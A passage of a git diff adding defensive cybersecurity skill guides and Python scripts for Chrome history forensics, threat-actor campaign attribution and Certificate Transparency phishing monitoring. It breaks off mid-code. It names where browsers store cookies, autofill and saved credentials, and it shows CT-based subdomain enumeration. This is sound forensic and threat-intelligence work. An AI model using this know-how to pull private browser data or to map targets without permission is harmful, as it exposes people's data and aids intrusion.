datetime((visit_time/1000000)-11644473600, 'unixepoch') +``` + +### Download History + +```sql +-- downloads table: id, current_path, target_path, start_time, end_time, +-- received_bytes, total_bytes, state, danger_type, interrupt_reason, +-- url, referrer, tab_url, mime_type, original_mime_type +``` + +### Cookie Analysis + +```sql +-- cookies table: creation_utc, host_key, name, value, encrypted_value, +-- path, expires_utc, is_secure, is_httponly, last_access_utc, +-- has_expires, is_persistent, priority, samesite +``` + +## Python Analysis Script + +```python +import sqlite3 +import os +import json +import sys +from datetime import datetime, timedelta + + +CHROME_EPOCH = datetime(1601, 1, 1) + + +def chrome_time_to_datetime(chrome_ts: int): + """Convert Chrome timestamp to datetime.""" + if chrome_ts == 0: + return None + try: + return CHROME_EPOCH + timedelta(microseconds=chrome_ts) + except (OverflowError, OSError): + return None + + +def analyze_chrome_history(profile_path: str, output_dir: str) -> dict: + """Analyze Chrome History database for forensic evidence.""" + history_db = os.path.join(profile_path, "History") + if not os.path.exists(history_db): + return {"error": "History database not found"} + + os.makedirs(output_dir, exist_ok=True) + conn = sqlite3.connect(f"file:{history_db}?mode=ro", uri=True) + + # URL visits with timestamps + cursor = conn.cursor() + cursor.execute(""" + SELECT u.url, u.title, v.visit_time, u.visit_count, + v.transition & 0xFF as transition_type + FROM visits v JOIN urls u ON v.url = u.id + ORDER BY v.visit_time DESC LIMIT 5000 + """) + visits = [{ + "url": r[0], "title": r[1], + "visit_time": str(chrome_time_to_datetime(r[2])), + "total_visits": r[3], "transition": r[4] + } for r in cursor.fetchall()] + + # Downloads + cursor.execute(""" + SELECT target_path, tab_url, start_time, end_time, + received_bytes, total_bytes, mime_type, state + FROM downloads ORDER BY start_time DESC LIMIT 1000 + """) + downloads = [{ + "path": r[0], "source_url": r[1], + "start_time": str(chrome_time_to_datetime(r[2])), + "end_time": str(chrome_time_to_datetime(r[3])), + "received_bytes": r[4], "total_bytes": r[5], + "mime_type": r[6], "state": r[7] + } for r in cursor.fetchall()] + + # Keyword searches + cursor.execute(""" + SELECT k.term, u.url, k.url_id + FROM keyword_search_terms k JOIN urls u ON k.url_id = u.id + ORDER BY u.last_visit_time DESC LIMIT 1000 + """) + searches = [{"term": r[0], "url": r[1]} for r in cursor.fetchall()] + + conn.close() + + report = { + "analysis_timestamp": datetime.now().isoformat(), + "profile_path": profile_path, + "total_visits": len(visits), + "total_downloads": len(downloads), + "total_searches": len(searches), + "visits": visits, + "downloads": downloads, + "searches": searches + } + + report_path = os.path.join(output_dir, "browser_forensics.json") + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: python process.py ") + sys.exit(1) + analyze_chrome_history(sys.argv[1], sys.argv[2]) + + +if __name__ == "__main__": + main() +``` + +## References + +- Hindsight GitHub: https://github.com/obsidianforensics/hindsight +- Chrome Forensics Guide: https://allenace.medium.com/hindsight-chrome-forensics-made-simple-425db99fa5ed +- Browser Forensics Tools: https://www.cyberforensicacademy.com/blog/browser-forensics-tools-how-to-extract-user-activity +- Chromium Source (History): https://source.chromium.org/chromium/chromium/src/+/main:components/history/ diff --git a/skills/analyzing-browser-forensics-with-hindsight/assets/template.md b/skills/analyzing-browser-forensics-with-hindsight/assets/template.md new file mode 100644 index 00000000..e00e520c --- /dev/null +++ b/skills/analyzing-browser-forensics-with-hindsight/assets/template.md @@ -0,0 +1,22 @@ +# Browser Forensics Report +## Case Info +| Field | Value | +|-------|-------| +| Case Number | | +| Browser | | +| Profile Path | | +## Activity Summary +| Metric | Count | +|--------|-------| +| URL Visits | | +| Downloads | | +| Saved Passwords | | +| Cookies | | +## Notable URLs +| Timestamp | URL | Title | +|-----------|-----|-------| +| | | | +## Downloads +| Timestamp | File | Source URL | Size | +|-----------|------|-----------|------| +| | | | | diff --git a/skills/analyzing-browser-forensics-with-hindsight/references/standards.md b/skills/analyzing-browser-forensics-with-hindsight/references/standards.md new file mode 100644 index 00000000..c54b46cf --- /dev/null +++ b/skills/analyzing-browser-forensics-with-hindsight/references/standards.md @@ -0,0 +1,15 @@ +# Standards - Browser Forensics with Hindsight +## Tools +- Hindsight: https://github.com/obsidianforensics/hindsight +- DB Browser for SQLite: Chrome database inspection +- ChromeCacheView (NirSoft): Cache analysis +## Browser Databases +- History: URL visits, downloads, keyword searches +- Cookies: HTTP cookies per domain +- Web Data: Autofill, credit cards +- Login Data: Saved credentials (encrypted) +- Bookmarks: JSON bookmark tree +## Timestamp Formats +- Chrome/WebKit: microseconds since 1601-01-01 UTC +- Firefox/Mozilla: microseconds since Unix epoch +- Safari/Mac: seconds since 2001-01-01 UTC diff --git a/skills/analyzing-browser-forensics-with-hindsight/references/workflows.md b/skills/analyzing-browser-forensics-with-hindsight/references/workflows.md new file mode 100644 index 00000000..793f637d --- /dev/null +++ b/skills/analyzing-browser-forensics-with-hindsight/references/workflows.md @@ -0,0 +1,19 @@ +# Workflows - Browser Forensics +## Workflow: Chrome Profile Analysis +``` +Locate browser profile directory + | +Run Hindsight against profile path + | +Review generated timeline (XLSX/JSON) + | +Analyze URL history for suspicious sites + | +Check downloads for malware/exfiltrated data + | +Review cookies for session hijacking evidence + | +Examine autofill and saved credentials + | +Correlate browser activity with system timeline +``` diff --git a/skills/analyzing-browser-forensics-with-hindsight/scripts/process.py b/skills/analyzing-browser-forensics-with-hindsight/scripts/process.py new file mode 100644 index 00000000..b204e2e7 --- /dev/null +++ b/skills/analyzing-browser-forensics-with-hindsight/scripts/process.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python3 +"""Browser Forensics Analyzer - Parses Chrome History SQLite for investigation.""" +import sqlite3, json, os, sys +from datetime import datetime, timedelta + +CHROME_EPOCH = datetime(1601, 1, 1) + +def chrome_ts(ts): + if not ts: return None + try: return str(CHROME_EPOCH + timedelta(microseconds=ts)) + except: return None + +def analyze_chrome(profile: str, output_dir: str) -> str: + os.makedirs(output_dir, exist_ok=True) + history_db = os.path.join(profile, "History") + conn = sqlite3.connect(f"file:{history_db}?mode=ro", uri=True) + c = conn.cursor() + c.execute("SELECT u.url, u.title, v.visit_time, u.visit_count FROM visits v JOIN urls u ON v.url=u.id ORDER BY v.visit_time DESC LIMIT 2000") + visits = [{"url": r[0], "title": r[1], "time": chrome_ts(r[2]), "count": r[3]} for r in c.fetchall()] + c.execute("SELECT target_path, tab_url, start_time, total_bytes, mime_type FROM downloads ORDER BY start_time DESC LIMIT 500") + downloads = [{"path": r[0], "url": r[1], "time": chrome_ts(r[2]), "size": r[3], "mime": r[4]} for r in c.fetchall()] + conn.close() + report = {"visits": len(visits), "downloads": len(downloads), "visit_data": visits, "download_data": downloads} + out = os.path.join(output_dir, "browser_forensics.json") + with open(out, "w") as f: json.dump(report, f, indent=2) + print(f"[*] Visits: {len(visits)}, Downloads: {len(downloads)}") + return out + +if __name__ == "__main__": + if len(sys.argv) < 3: print("Usage: process.py "); sys.exit(1) + analyze_chrome(sys.argv[1], sys.argv[2]) diff --git a/skills/analyzing-campaign-attribution-evidence/SKILL.md b/skills/analyzing-campaign-attribution-evidence/SKILL.md new file mode 100644 index 00000000..721843b6 --- /dev/null +++ b/skills/analyzing-campaign-attribution-evidence/SKILL.md @@ -0,0 +1,216 @@ +--- +name: None +description: Campaign attribution analysis involves systematically evaluating evidence to determine which threat actor or group is responsible for a cyber operation. This skill covers collecting and weighting attr +domain: cybersecurity +subdomain: threat-intelligence +tags: [threat-intelligence, cti, ioc, mitre-attack, stix, attribution, campaign-analysis] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Campaign Attribution Evidence + +## Overview + +Campaign attribution analysis involves systematically evaluating evidence to determine which threat actor or group is responsible for a cyber operation. This skill covers collecting and weighting attribution indicators using the Diamond Model and ACH (Analysis of Competing Hypotheses), analyzing infrastructure overlaps, TTP consistency, malware code similarities, operational timing patterns, and language artifacts to build confidence-weighted attribution assessments. + +## Prerequisites + +- Python 3.9+ with `attackcti`, `stix2`, `networkx` libraries +- Access to threat intelligence platforms (MISP, OpenCTI) +- Understanding of Diamond Model of Intrusion Analysis +- Familiarity with MITRE ATT&CK threat group profiles +- Knowledge of malware analysis and infrastructure tracking techniques + +## Key Concepts + +### Attribution Evidence Categories +1. **Infrastructure Overlap**: Shared C2 servers, domains, IP ranges, hosting providers +2. **TTP Consistency**: Matching ATT&CK techniques and sub-techniques across campaigns +3. **Malware Code Similarity**: Shared code bases, compilers, PDB paths, encryption routines +4. **Operational Patterns**: Timing (working hours, time zones), targeting patterns, operational tempo +5. **Language Artifacts**: Embedded strings, variable names, error messages in specific languages +6. **Victimology**: Target sector, geography, and organizational profile consistency + +### Confidence Levels +- **High Confidence**: Multiple independent evidence categories converge on same actor +- **Moderate Confidence**: Several evidence categories match, some ambiguity remains +- **Low Confidence**: Limited evidence, possible false flags or shared tooling + +### Analysis of Competing Hypotheses (ACH) +Structured analytical method that evaluates evidence against multiple competing hypotheses. Each piece of evidence is scored as consistent, inconsistent, or neutral with respect to each hypothesis. The hypothesis with the least inconsistent evidence is favored. + +## Practical Steps + +### Step 1: Collect Attribution Evidence + +```python +from stix2 import MemoryStore, Filter +from collections import defaultdict + +class AttributionAnalyzer: + def __init__(self): + self.evidence = [] + self.hypotheses = {} + + def add_evidence(self, category, description, value, confidence): + self.evidence.append({ + "category": category, + "description": description, + "value": value, + "confidence": confidence, + "timestamp": None, + }) + + def add_hypothesis(self, actor_name, actor_id=""): + self.hypotheses[actor_name] = { + "actor_id": actor_id, + "consistent_evidence": [], + "inconsistent_evidence": [], + "neutral_evidence": [], + "score": 0, + } + + def evaluate_evidence(self, evidence_idx, actor_name, assessment): + """Assess evidence against a hypothesis: consistent/inconsistent/neutral.""" + if assessment == "consistent": + self.hypotheses[actor_name]["consistent_evidence"].append(evidence_idx) + self.hypotheses[actor_name]["score"] += self.evidence[evidence_idx]["confidence"] + elif assessment == "inconsistent": + self.hypotheses[actor_name]["inconsistent_evidence"].append(evidence_idx) + self.hypotheses[actor_name]["score"] -= self.evidence[evidence_idx]["confidence"] * 2 + else: + self.hypotheses[actor_name]["neutral_evidence"].append(evidence_idx) + + def rank_hypotheses(self): + """Rank hypotheses by attribution score.""" + ranked = sorted( + self.hypotheses.items(), + key=lambda x: x[1]["score"], + reverse=True, + ) + return [ + { + "actor": name, + "score": data["score"], + "consistent": len(data["consistent_evidence"]), + "inconsistent": len(data["inconsistent_evidence"]), + "confidence": self._score_to_confidence(data["score"]), + } + for name, data in ranked + ] + + def _score_to_confidence(self, score): + if score >= 80: + return "HIGH" + elif score >= 40: + return "MODERATE" + else: + return "LOW" +``` + +### Step 2: Infrastructure Overlap Analysis + +```python +def analyze_infrastructure_overlap(campaign_a_infra, campaign_b_infra): + """Compare infrastructure between two campaigns for attribution.""" + overlap = { + "shared_ips": set(campaign_a_infra.get("ips", [])).intersection( + campaign_b_infra.get("ips", []) + ), + "shared_domains": set(campaign_a_infra.get("domains", [])).intersection( + campaign_b_infra.get("domains", []) + ), + "shared_asns": set(campaign_a_infra.get("asns", [])).intersection( + campaign_b_infra.get("asns", []) + ), + "shared_registrars": set(campaign_a_infra.get("registrars", [])).intersection( + campaign_b_infra.get("registrars", []) + ), + } + + overlap_score = 0 + if overlap["shared_ips"]: + overlap_score += 30 + if overlap["shared_domains"]: + overlap_score += 25 + if overlap["shared_asns"]: + overlap_score += 15 + if overlap["shared_registrars"]: + overlap_score += 10 + + return { + "overlap": {k: list(v) for k, v in overlap.items()}, + "overlap_score": overlap_score, + "assessment": "STRONG" if overlap_score >= 40 else "MODERATE" if overlap_score >= 20 else "WEAK", + } +``` + +### Step 3: TTP Comparison Across Campaigns + +```python +from attackcti import attack_client + +def compare_campaign_ttps(campaign_techniques, known_actor_techniques): + """Compare campaign TTPs against known threat actor profiles.""" + campaign_set = set(campaign_techniques) + actor_set = set(known_actor_techniques) + + common = campaign_set.intersection(actor_set) + unique_campaign = campaign_set - actor_set + unique_actor = actor_set - campaign_set + + jaccard = len(common) / len(campaign_set.union(actor_set)) if campaign_set.union(actor_set) else 0 + + return { + "common_techniques": sorted(common), + "common_count": len(common), + "unique_to_campaign": sorted(unique_campaign), + "unique_to_actor": sorted(unique_actor), + "jaccard_similarity": round(jaccard, 3), + "overlap_percentage": round(len(common) / len(campaign_set) * 100, 1) if campaign_set else 0, + } +``` + +### Step 4: Generate Attribution Report + +```python +def generate_attribution_report(analyzer): + """Generate structured attribution assessment report.""" + rankings = analyzer.rank_hypotheses() + + report = { + "assessment_date": "2026-02-23", + "total_evidence_items": len(analyzer.evidence), + "hypotheses_evaluated": len(analyzer.hypotheses), + "rankings": rankings, + "primary_attribution": rankings[0] if rankings else None, + "evidence_summary": [ + { + "index": i, + "category": e["category"], + "description": e["description"], + "confidence": e["confidence"], + } + for i, e in enumerate(analyzer.evidence) + ], + } + + return report +``` + +## Validation Criteria + +- Evidence collection covers all six attribution categories +- ACH matrix properly evaluates evidence against competing hypotheses +- Infrastructure overlap analysis identifies shared indicators +- TTP comparison uses ATT&CK technique IDs for precision +- Attribution confidence levels are properly justified +- Report includes alternative hypotheses and false flag considerations + +## References + +- [Diamond Model of Intrusion Analysis](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) +- [MITRE ATT&CK Groups](https://attack.mitre.org/groups/) +- [Analysis of Competing Hypotheses](https://www.cia.gov/static/9a5f1162fd0932c29e985f0159f56c07/Tradecraft-Primer-apr09.pdf) +- [Threat Attribution Framework](https://www.mandiant.com/resources/reports) diff --git a/skills/analyzing-campaign-attribution-evidence/assets/template.md b/skills/analyzing-campaign-attribution-evidence/assets/template.md new file mode 100644 index 00000000..c43da08a --- /dev/null +++ b/skills/analyzing-campaign-attribution-evidence/assets/template.md @@ -0,0 +1,39 @@ +# Campaign Attribution Analysis Report Template + +## Report Metadata +| Field | Value | +|-------|-------| +| Report ID | CTI-YYYY-NNNN | +| Date | YYYY-MM-DD | +| Classification | TLP:AMBER | +| Analyst | [Name] | +| Confidence | High/Moderate/Low | + +## Executive Summary +[Brief overview of key findings and their significance] + +## Key Findings +1. [Finding 1 with supporting evidence] +2. [Finding 2 with supporting evidence] +3. [Finding 3 with supporting evidence] + +## Detailed Analysis +### Finding 1 +- **Evidence**: [Description of evidence] +- **Confidence**: High/Moderate/Low +- **MITRE ATT&CK**: [Relevant technique IDs] +- **Impact Assessment**: [Potential impact to organization] + +## Indicators of Compromise +| Type | Value | Context | Confidence | +|------|-------|---------|-----------| +| | | | | + +## Recommendations +1. **Immediate**: [Actions requiring immediate attention] +2. **Short-term**: [Actions within 1-2 weeks] +3. **Long-term**: [Strategic improvements] + +## References +- [Source 1] +- [Source 2] diff --git a/skills/analyzing-campaign-attribution-evidence/references/standards.md b/skills/analyzing-campaign-attribution-evidence/references/standards.md new file mode 100644 index 00000000..fb9c60d0 --- /dev/null +++ b/skills/analyzing-campaign-attribution-evidence/references/standards.md @@ -0,0 +1,24 @@ +# Standards and Frameworks Reference + +## Applicable Standards +- **STIX 2.1**: Structured Threat Information eXpression for CTI data representation +- **TAXII 2.1**: Transport protocol for sharing CTI over HTTPS +- **MITRE ATT&CK**: Adversary tactics, techniques, and procedures taxonomy +- **Diamond Model**: Intrusion analysis framework (Adversary, Capability, Infrastructure, Victim) +- **Traffic Light Protocol (TLP)**: Information sharing classification (CLEAR, GREEN, AMBER, RED) + +## MITRE ATT&CK Relevance +- Technique mapping for threat actor behavior classification +- Data sources for detection capability assessment +- Mitigation strategies linked to specific techniques + +## Industry Frameworks +- NIST Cybersecurity Framework (CSF) 2.0 - Identify function +- ISO 27001:2022 - A.5.7 Threat Intelligence +- FIRST Standards - TLP, CSIRT, vulnerability coordination + +## References +- [STIX 2.1 Specification](https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1.html) +- [MITRE ATT&CK](https://attack.mitre.org/) +- [Diamond Model Paper](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) +- [NIST CSF 2.0](https://www.nist.gov/cyberframework) diff --git a/skills/analyzing-campaign-attribution-evidence/references/workflows.md b/skills/analyzing-campaign-attribution-evidence/references/workflows.md new file mode 100644 index 00000000..8630223c --- /dev/null +++ b/skills/analyzing-campaign-attribution-evidence/references/workflows.md @@ -0,0 +1,31 @@ +# Campaign Attribution Analysis Workflows + +## Workflow 1: Collection and Analysis +``` +[Intelligence Sources] --> [Data Collection] --> [Analysis] --> [Reporting] + | | | | + v v v v + OSINT/HUMINT/SIGINT Normalize/Enrich Assess/Correlate Disseminate +``` + +### Steps: +1. **Planning**: Define intelligence requirements and collection priorities +2. **Collection**: Gather data from relevant sources +3. **Processing**: Normalize data formats and filter noise +4. **Analysis**: Apply analytical frameworks and correlate findings +5. **Production**: Generate intelligence products and reports +6. **Dissemination**: Share with stakeholders via appropriate channels +7. **Feedback**: Collect consumer feedback to refine future collection + +## Workflow 2: Continuous Monitoring +``` +[Watchlist] --> [Automated Monitoring] --> [Change Detection] --> [Alert/Update] +``` + +### Steps: +1. **Define Watchlist**: Identify indicators, actors, and topics to monitor +2. **Configure Monitoring**: Set up automated collection from relevant sources +3. **Change Detection**: Identify new or changed intelligence +4. **Assessment**: Evaluate significance of changes +5. **Alerting**: Notify stakeholders of significant intelligence updates +6. **Archive**: Store intelligence for historical analysis and trending diff --git a/skills/analyzing-campaign-attribution-evidence/scripts/process.py b/skills/analyzing-campaign-attribution-evidence/scripts/process.py new file mode 100644 index 00000000..3e1a9aee --- /dev/null +++ b/skills/analyzing-campaign-attribution-evidence/scripts/process.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python3 +""" +Campaign Attribution Evidence Analysis Script + +Implements structured attribution analysis: +- Analysis of Competing Hypotheses (ACH) matrix +- Infrastructure overlap scoring +- TTP similarity comparison using ATT&CK +- Evidence weighting and confidence assessment + +Requirements: + pip install attackcti stix2 requests + +Usage: + python process.py --evidence evidence.json --hypotheses actors.json --output report.json + python process.py --compare-ttps --campaign campaign_techs.json --actor APT29 +""" + +import argparse +import json +import sys +from collections import defaultdict + + +class AttributionEngine: + """Structured attribution analysis using ACH methodology.""" + + def __init__(self): + self.evidence = [] + self.hypotheses = {} + + def load_evidence(self, filepath): + with open(filepath) as f: + self.evidence = json.load(f) + + def add_evidence(self, category, description, value, confidence): + self.evidence.append({ + "id": len(self.evidence), + "category": category, + "description": description, + "value": value, + "confidence": confidence, + }) + + def add_hypothesis(self, actor_name, supporting_info=""): + self.hypotheses[actor_name] = { + "info": supporting_info, + "assessments": {}, + "score": 0, + } + + def evaluate(self, evidence_id, actor_name, assessment): + """Evaluate evidence against hypothesis: C=consistent, I=inconsistent, N=neutral.""" + weight = self.evidence[evidence_id]["confidence"] + self.hypotheses[actor_name]["assessments"][evidence_id] = assessment + + if assessment == "C": + self.hypotheses[actor_name]["score"] += weight + elif assessment == "I": + self.hypotheses[actor_name]["score"] -= weight * 2 + + def generate_ach_matrix(self): + matrix = {"evidence": [], "hypotheses": {}} + for e in self.evidence: + matrix["evidence"].append({ + "id": e["id"], + "category": e["category"], + "description": e["description"], + }) + + for actor, data in self.hypotheses.items(): + matrix["hypotheses"][actor] = { + "assessments": data["assessments"], + "score": data["score"], + "consistent": sum(1 for a in data["assessments"].values() if a == "C"), + "inconsistent": sum(1 for a in data["assessments"].values() if a == "I"), + "neutral": sum(1 for a in data["assessments"].values() if a == "N"), + } + + return matrix + + def rank(self): + ranked = sorted( + self.hypotheses.items(), key=lambda x: x[1]["score"], reverse=True + ) + results = [] + for name, data in ranked: + incon = sum(1 for a in data["assessments"].values() if a == "I") + confidence = "HIGH" if data["score"] >= 80 and incon == 0 else \ + "MODERATE" if data["score"] >= 40 else "LOW" + results.append({ + "actor": name, + "score": data["score"], + "confidence": confidence, + "inconsistent_count": incon, + }) + return results + + +def compare_ttp_similarity(campaign_techs, actor_techs): + campaign_set = set(campaign_techs) + actor_set = set(actor_techs) + common = campaign_set & actor_set + + jaccard = len(common) / len(campaign_set | actor_set) if (campaign_set | actor_set) else 0 + return { + "common": sorted(common), + "jaccard_similarity": round(jaccard, 3), + "campaign_coverage": round(len(common) / len(campaign_set) * 100, 1) if campaign_set else 0, + } + + +def main(): + parser = argparse.ArgumentParser(description="Campaign Attribution Analysis") + parser.add_argument("--evidence", help="Evidence JSON file") + parser.add_argument("--hypotheses", help="Hypotheses JSON file") + parser.add_argument("--compare-ttps", action="store_true") + parser.add_argument("--campaign", help="Campaign techniques JSON") + parser.add_argument("--actor", help="Actor name for ATT&CK lookup") + parser.add_argument("--output", default="attribution_report.json") + + args = parser.parse_args() + engine = AttributionEngine() + + if args.evidence and args.hypotheses: + engine.load_evidence(args.evidence) + with open(args.hypotheses) as f: + hyps = json.load(f) + for h in hyps: + engine.add_hypothesis(h["name"], h.get("info", "")) + for eid, assessment in h.get("evaluations", {}).items(): + engine.evaluate(int(eid), h["name"], assessment) + + matrix = engine.generate_ach_matrix() + rankings = engine.rank() + report = {"ach_matrix": matrix, "rankings": rankings} + print(json.dumps(report, indent=2)) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + + elif args.compare_ttps and args.campaign: + with open(args.campaign) as f: + campaign_techs = json.load(f) + + if args.actor: + try: + from attackcti import attack_client + lift = attack_client() + groups = lift.get_groups() + group = next( + (g for g in groups if args.actor.lower() in g.get("name", "").lower()), + None, + ) + if group: + gid = group["external_references"][0]["external_id"] + techs = lift.get_techniques_used_by_group(gid) + actor_techs = [ + t["external_references"][0]["external_id"] + for t in techs if t.get("external_references") + ] + result = compare_ttp_similarity(campaign_techs, actor_techs) + print(json.dumps(result, indent=2)) + except ImportError: + print("[-] attackcti not installed") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-certificate-transparency-for-phishing/SKILL.md b/skills/analyzing-certificate-transparency-for-phishing/SKILL.md new file mode 100644 index 00000000..ade54591 --- /dev/null +++ b/skills/analyzing-certificate-transparency-for-phishing/SKILL.md @@ -0,0 +1,312 @@ +--- +name: analyzing-certificate-transparency-for-phishing +description: Monitor Certificate Transparency logs using crt.sh and Certstream to detect phishing domains, lookalike certificates, and unauthorized certificate issuance targeting your organization. +domain: cybersecurity +subdomain: threat-intelligence +tags: [certificate-transparency, ct-logs, phishing, crt-sh, certstream, ssl, domain-monitoring, threat-intelligence] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Certificate Transparency for Phishing + +## Overview + +Certificate Transparency (CT) is an Internet security standard that creates a public, append-only log of all issued SSL/TLS certificates. Monitoring CT logs enables early detection of phishing domains that register certificates mimicking legitimate brands, unauthorized certificate issuance for owned domains, and certificate-based attack infrastructure. This skill covers querying CT logs via crt.sh, real-time monitoring with Certstream, building automated alerting for suspicious certificates, and integrating findings into threat intelligence workflows. + +## Prerequisites + +- Python 3.9+ with `requests`, `certstream`, `tldextract`, `Levenshtein` libraries +- Access to crt.sh (https://crt.sh/) for historical CT log queries +- Certstream (https://certstream.calidog.io/) for real-time monitoring +- List of organization domains and brand keywords to monitor +- Understanding of SSL/TLS certificate structure and issuance process + +## Key Concepts + +### Certificate Transparency Logs + +CT logs are cryptographically assured, publicly auditable, append-only records of TLS certificate issuance. Major CAs (Let's Encrypt, DigiCert, Sectigo, Google Trust Services) submit all issued certificates to multiple CT logs. As of 2025, Chrome and Safari require CT for all publicly trusted certificates. + +### Phishing Detection via CT + +Attackers register lookalike domains and obtain free certificates (often from Let's Encrypt) to make phishing sites appear legitimate with HTTPS. CT monitoring detects these early because the certificate appears in logs before the phishing campaign launches, providing a window for proactive blocking. + +### crt.sh Database + +crt.sh is a free web interface and PostgreSQL database operated by Sectigo that indexes CT logs. It supports wildcard searches (`%.example.com`), direct SQL queries, and JSON API responses. It tracks certificate issuance, expiration, and revocation across all major CT logs. + +## Practical Steps + +### Step 1: Query crt.sh for Certificate History + +```python +import requests +import json +from datetime import datetime +import tldextract + +class CTLogMonitor: + CRT_SH_URL = "https://crt.sh" + + def __init__(self, monitored_domains, brand_keywords): + self.monitored_domains = monitored_domains + self.brand_keywords = [k.lower() for k in brand_keywords] + + def query_crt_sh(self, domain, include_expired=False): + """Query crt.sh for certificates matching a domain.""" + params = { + "q": f"%.{domain}", + "output": "json", + } + if not include_expired: + params["exclude"] = "expired" + + resp = requests.get(self.CRT_SH_URL, params=params, timeout=30) + if resp.status_code == 200: + certs = resp.json() + print(f"[+] crt.sh: {len(certs)} certificates for *.{domain}") + return certs + return [] + + def find_suspicious_certs(self, domain): + """Find certificates that may be phishing attempts.""" + certs = self.query_crt_sh(domain) + suspicious = [] + + for cert in certs: + common_name = cert.get("common_name", "").lower() + name_value = cert.get("name_value", "").lower() + issuer = cert.get("issuer_name", "") + not_before = cert.get("not_before", "") + not_after = cert.get("not_after", "") + + # Check for exact domain matches (legitimate) + extracted = tldextract.extract(common_name) + cert_domain = f"{extracted.domain}.{extracted.suffix}" + if cert_domain == domain: + continue # Legitimate certificate + + # Flag suspicious patterns + flags = [] + if domain.replace(".", "") in common_name.replace(".", ""): + flags.append("contains target domain string") + if any(kw in common_name for kw in self.brand_keywords): + flags.append("contains brand keyword") + if "let's encrypt" in issuer.lower(): + flags.append("free CA (Let's Encrypt)") + + if flags: + suspicious.append({ + "common_name": cert.get("common_name", ""), + "name_value": cert.get("name_value", ""), + "issuer": issuer, + "not_before": not_before, + "not_after": not_after, + "serial": cert.get("serial_number", ""), + "flags": flags, + "crt_sh_id": cert.get("id", ""), + "crt_sh_url": f"https://crt.sh/?id={cert.get('id', '')}", + }) + + print(f"[+] Found {len(suspicious)} suspicious certificates") + return suspicious + +monitor = CTLogMonitor( + monitored_domains=["mycompany.com", "mycompany.org"], + brand_keywords=["mycompany", "mybrand", "myproduct"], +) +suspicious = monitor.find_suspicious_certs("mycompany.com") +for cert in suspicious[:5]: + print(f" [{cert['common_name']}] Flags: {cert['flags']}") +``` + +### Step 2: Real-Time Monitoring with Certstream + +```python +import certstream +import Levenshtein +import re +from datetime import datetime + +class CertstreamMonitor: + def __init__(self, watched_domains, brand_keywords, similarity_threshold=0.8): + self.watched_domains = [d.lower() for d in watched_domains] + self.brand_keywords = [k.lower() for k in brand_keywords] + self.threshold = similarity_threshold + self.alerts = [] + + def start_monitoring(self, max_alerts=100): + """Start real-time CT log monitoring.""" + print("[*] Starting Certstream monitoring...") + print(f" Watching: {self.watched_domains}") + print(f" Keywords: {self.brand_keywords}") + + def callback(message, context): + if message["message_type"] == "certificate_update": + data = message["data"] + leaf = data.get("leaf_cert", {}) + all_domains = leaf.get("all_domains", []) + + for domain in all_domains: + domain_lower = domain.lower().strip("*.") + if self._is_suspicious(domain_lower): + alert = { + "domain": domain, + "all_domains": all_domains, + "issuer": leaf.get("issuer", {}).get("O", ""), + "fingerprint": leaf.get("fingerprint", ""), + "not_before": leaf.get("not_before", ""), + "detected_at": datetime.now().isoformat(), + "reason": self._get_reason(domain_lower), + } + self.alerts.append(alert) + print(f" [ALERT] {domain} - {alert['reason']}") + + if len(self.alerts) >= max_alerts: + raise KeyboardInterrupt + + try: + certstream.listen_for_events(callback, url="wss://certstream.calidog.io/") + except KeyboardInterrupt: + print(f"\n[+] Monitoring stopped. {len(self.alerts)} alerts collected.") + return self.alerts + + def _is_suspicious(self, domain): + """Check if domain is suspicious relative to watched domains.""" + for watched in self.watched_domains: + # Exact keyword match + watched_base = watched.split(".")[0] + if watched_base in domain and domain != watched: + return True + + # Levenshtein distance (typosquatting detection) + domain_base = tldextract.extract(domain).domain + similarity = Levenshtein.ratio(watched_base, domain_base) + if similarity >= self.threshold and domain_base != watched_base: + return True + + # Brand keyword match + for keyword in self.brand_keywords: + if keyword in domain: + return True + + return False + + def _get_reason(self, domain): + """Determine why domain was flagged.""" + reasons = [] + for watched in self.watched_domains: + watched_base = watched.split(".")[0] + if watched_base in domain: + reasons.append(f"contains '{watched_base}'") + domain_base = tldextract.extract(domain).domain + similarity = Levenshtein.ratio(watched_base, domain_base) + if similarity >= self.threshold and domain_base != watched_base: + reasons.append(f"similar to '{watched}' ({similarity:.0%})") + for kw in self.brand_keywords: + if kw in domain: + reasons.append(f"brand keyword '{kw}'") + return "; ".join(reasons) if reasons else "unknown" + +cs_monitor = CertstreamMonitor( + watched_domains=["mycompany.com"], + brand_keywords=["mycompany", "mybrand"], + similarity_threshold=0.75, +) +alerts = cs_monitor.start_monitoring(max_alerts=50) +``` + +### Step 3: Enumerate Subdomains from CT Logs + +```python +def enumerate_subdomains_ct(domain): + """Discover all subdomains from Certificate Transparency logs.""" + params = {"q": f"%.{domain}", "output": "json"} + resp = requests.get("https://crt.sh", params=params, timeout=30) + + if resp.status_code != 200: + return [] + + certs = resp.json() + subdomains = set() + for cert in certs: + name_value = cert.get("name_value", "") + for name in name_value.split("\n"): + name = name.strip().lower() + if name.endswith(f".{domain}") or name == domain: + name = name.lstrip("*.") + subdomains.add(name) + + sorted_subs = sorted(subdomains) + print(f"[+] CT subdomain enumeration for {domain}: {len(sorted_subs)} subdomains") + return sorted_subs + +subdomains = enumerate_subdomains_ct("example.com") +for sub in subdomains[:20]: + print(f" {sub}") +``` + +### Step 4: Generate CT Intelligence Report + +```python +def generate_ct_report(suspicious_certs, certstream_alerts, domain): + report = f"""# Certificate Transparency Intelligence Report +## Target Domain: {domain} +## Generated: {datetime.now().isoformat()} + +## Summary +- Suspicious certificates found: {len(suspicious_certs)} +- Real-time alerts triggered: {len(certstream_alerts)} + +## Suspicious Certificates (crt.sh) +| Common Name | Issuer | Flags | crt.sh Link | +|------------|--------|-------|-------------| +""" + for cert in suspicious_certs[:20]: + flags = "; ".join(cert.get("flags", [])) + report += (f"| {cert['common_name']} | {cert['issuer'][:30]} " + f"| {flags} | [View]({cert['crt_sh_url']}) |\n") + + report += f""" +## Real-Time Certstream Alerts +| Domain | Issuer | Reason | Detected | +|--------|--------|--------|----------| +""" + for alert 